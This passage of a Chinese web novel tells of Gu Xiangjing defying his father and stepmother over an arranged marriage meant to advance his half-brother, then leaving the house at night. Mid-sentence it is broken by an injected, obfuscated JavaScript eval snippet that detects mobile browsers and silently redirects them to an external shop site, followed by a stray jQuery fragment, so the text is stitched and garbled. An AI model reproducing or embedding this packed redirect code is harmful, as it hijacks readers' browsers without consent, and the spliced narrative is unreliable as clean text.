这一番话,字字击中要害,顾弘道颈间青筋暴起,霹雳似的暴喝:“他可是你的亲弟弟!你怎敢这样说他?”
顾相璟眼中流露出一丝讥嘲,慢条斯理地说道:“我不记得我母亲还生了个弟弟。”
“你个逆子——”顾弘道高高举起手掌,正要挥出一巴掌,就在这时,门外急急跑进来一个人,紧紧地抱住他,拦下了那巴掌。
正是送完周夫人,匆匆返回正堂的王氏。
王氏哀声相劝,眼眶泛红:“老爷息怒,有话好好说。”
几番劝慰后,顾弘道重重地冷哼一声,终于收敛了怒气。
他目光如刀,直指顾相璟:“要不是看在你母亲的面上,我定要好好教训你这个孽子!”
顾相璟知道,他口中的“母亲”二字,指的是王氏。
顾相璟冷淡地扫了一眼王氏,未置一词。
见状,王氏理了理衣襟,款款行至顾相璟面前,柔声道:“曹夫人曾私下约我见了一面,说她小女偶然见过你一面,便对你一见倾心。于是她托我促成此事,说两家如能结为亲家,不仅能帮扶顾家,还能为你的亲弟弟谋得一个好前程。”
言罢,她眼中满含哀求,声音几近哽咽:“相璟,我知你不愿接纳我,也不愿喊我一声‘母亲’,我也就认了。但霁儿他毕竟是你的亲弟弟,同你血脉相连。你就看在手足之情的份上,帮他一把吧。”
“那曹家三娘子既心悦于你,才情、家世又样样出挑,实乃良配,也不算委屈了你。可我的霁儿,他命苦啊,不仅够不着这般好姻缘,还处处遭人欺凌,所求也不过一个堪堪入眼的官职。就当我求求你了,你就帮帮他吧!”
说到最后,王氏心中大恸,泪眼涟涟,忍不住呜咽起来。为什么曹家看上的不是她的儿子!不然,她也不必百般筹谋,还要低声下气求她的眼中刺。
闻言,顾弘道心头一紧,痛惜之情溢于言表,他极力安抚着王氏,直至她泪痕渐干,取出锦帕轻拭眼角。
随后,顾弘道目光一转,再次落在顾相璟身上,只见他面容冷峻,毫无动容之色。
怒火在胸中烈烈翻腾,他咬牙切齿地说道:“你当真要如此绝情?丝毫不念及骨肉之情?”
顾相璟冷冷回望:“你若真想为你小儿子谋得好差事,就让他自己亲自去求娶曹家小娘子,何必费心绕这么大一圈。”
“你!”顾弘道一时语塞。岂是霁儿不愿意求娶,而是人家三娘子就属意顾相璟,不然他何苦背着顾相璟,企图来个先斩后奏?
“你还当不当我是你父亲?”顾弘道声音颤抖,目光紧紧地锁定在顾相璟身上,充满了不解与愤怒。为何这个儿子就不能像霁儿那样懂事,非得处处忤逆他?
“你若眼里还有我这个父亲,就同意了曹家的这门亲事,就像芸娘说的,这亲事并不委屈你!”
闻言,顾相璟心中暗自冷笑,目光透着森森寒意:“别说这事,从今往后,无论我的任何事情,我希望你都别再插手。否则,我未必不会做出让所有人都后悔的事。”
“你个逆子!顾家养你这么多年,你就是这样报答的?”顾弘道青筋暴起,几乎是在咆哮,“你就不怕被人戳脊梁骨吗?要是没有顾家,你能有今天的位置吗?”
顾相璟冷哼一声,唇角勾起一抹讥笑:“看来你已经忘得一干二净,我早已还清了你所谓的养育之恩。当年我母亲留给我的财产,你‘拿’走了一半,而那部分足以让顾家衣食无忧。”
顾弘道愣住,随即面色涨得紫红,似乎记起了过往种种。
当初迎娶王氏时,家中开销骤增,确是动用了亡妻所留的财物。但在他心中,父子一体,儿子的不就是老子的吗?他有何过错?
然而此刻,面对顾相璟的冷漠目光,他竟感羞愧难当,喉头滚动,却半个字也吐不出。
“还有,‘父亲’二字,你日后也不必再提,也别想着再用‘父亲’这身份来压我。”顾相璟神情愈发淡漠,身上散发出的寒意仿佛将整个厅堂的温度都降低了几分,他实在厌烦这种勾心斗角的日子,也厌恶极了这种应酬。
面对顾弘道震惊的视线,顾相璟眼神愈发冰冷犀利,字字锋利如刃:
“昔日,舅舅他们战死沙场,而你忙着红烛高照,迎娶新妇,不仅阻止我前去边疆为他们收敛遗骨,更对他们的身后事草草了之。自那时起,你便不配当我‘父亲’!舅舅他们的牺牲,你未曾有过丝毫痛惜,母亲的离世,你也未曾有过半点悲意。而今,你又逼着我去为你的小儿子谋取私利。顾弘道,你哪来的资格与脸面,认为你我还有半分父子之情可言?”
话音落下,顾弘道身躯剧震,脸色由红转白再转青,却无法反驳。他从未想过,自己的大儿子竟对自己有着如此深的怨恨。
温老太太也被这一番言辞骇得面如土色,嘴唇颤抖着,眼中充满了惊恐与不安。她紧紧握住手中的念珠,似乎这样才能稳住心神。
顾相璟冷冷地扫了一圈在场的人,提步往外走去。
在经过王氏身旁时,顾相璟脚步一顿,以仅二人可闻之音低语:“王氏,侯爵之位,我根本就瞧不上。你要是再行那蝇营狗苟之事,不小心惹到我,那爵位归属,可就轮不到你儿子了。还有,当年我母亲遗留财物之事,你也使了心机,对吧?你放心,我都会一一讨回的。”
听罢,王氏面色煞白,惊惧地望着顾相璟离去的背影。
“璟儿。”温老太太快步上前,突然叫住他,声音中带着几分颤抖。
顾相璟停在门槛前,微侧身躯,目光投向祖母。
夜风忽然变得凛冽,廊下的灯笼随之摇曳,烛光晃荡,映照得温老太太神情复杂难辨,眸色晦暗。
她眼含沧桑,眼角的细纹挤成了一团褶皱,最终缓缓开口:“祖母从未向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151154|145446||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你提出过什么要求,但眼下顾家式微,你父亲在朝中也举步维艰。祖母实在不愿见到顾家衰败,祖母不奢求你其他事,只求你看在昔日的情分上,援手相助你父亲,并……扶持你弟弟一把。你能否答应祖母这唯一的请求?”
听罢,顾相璟目光寒凉,内心深处却涌起一股难以言说的情绪。上一次祖母关心他,是什么时候?他费力回想着,但记忆中的画面早已格外模糊。
老太太这番偏心言辞,其实也不难理解。毕竟,自己离家多年,而王氏他们日夜陪伴在侧,殷切侍奉。对比下来,自然也就有亲有疏。
顾相璟将这股不该有的情绪撇下,举步踏入夜色之中,夜风将他的声音吹入堂中:“祖母,相璟能自立于世,其他人也能。”
*
夜色如墨,院落深深,带着几许寒意的夜风穿庭而过,吹得灯笼一晃一晃,光影斑驳,映得花木假山如鬼影潜行。
顾相璟行走于院落的暗影之中,眼角余光忽然捕捉到一抹熟悉的檐角轮廓,身形不由自主地停下来。
那是母亲昔日的居所,记忆中最为温暖的地方。
他们说,母亲多情易伤,所以在与父亲貌合神离后,整日自怜自伤,才会在韶华年纪郁郁而终。
如今,那个院落已成废墟,还记得母亲的仅有自己一人。
而他们,还想以家人之名,试图操控他的人生,为顾家谋取利益,为所谓的弟弟谋取锦绣前程。
但自七年前起,自太牢之案之后,他已不欠顾家任何东西。
顾相璟远远凝视着檐角斑驳的痕迹,眼中闪过一丝痛苦。曾经那里,有欢乐的记忆,有母亲温暖的笑容。自母亲去世后,那院落便被锁了起来,如今却只剩下一地凄凉,一片荒芜。
涨涨的酸酸的情绪自心底蔓上鼻间,再延至眼眶,仿佛要将他淹没于这无尽的暗夜之中。
他不是矫情的人,也就在很小的时候,曾在母亲的怀里撒过娇,讨过零嘴。在母亲去世后,他便学会了独自承受一切。
但在此刻,他迫切地想要找一个安心之所,没有算计,没有虚情假意,让他可以安心地呆着,什么也不需去想去做。
然而多年的压抑自持让他无处倾诉,内心仿佛被铁链紧紧勒住,痛苦如同一张密不透风的网,将他牢牢困住,无法呼吸。
纵使他对痛苦早已麻木,但却也不知该如何挣脱窒息。
忽然,脑海中浮现一道身影,言笑晏晏,眼含几不可查的狡黠。
他猛然惊醒,大步跨出顾家,飞身上马,疾驰而去。
耳畔夜风呼啸,眼前掠过万般绚烂景象,转眼被甩在身后。
片刻后,眼前开始出现大片大片的黑暗与寂静,唯有蹄声嘚嘚,伴随一路。
直至那熟悉的小院映入眼帘,他方放缓速度,轻轻跳下马,在那扇褐色木门前犹豫了几许,才抬手轻扣门扉。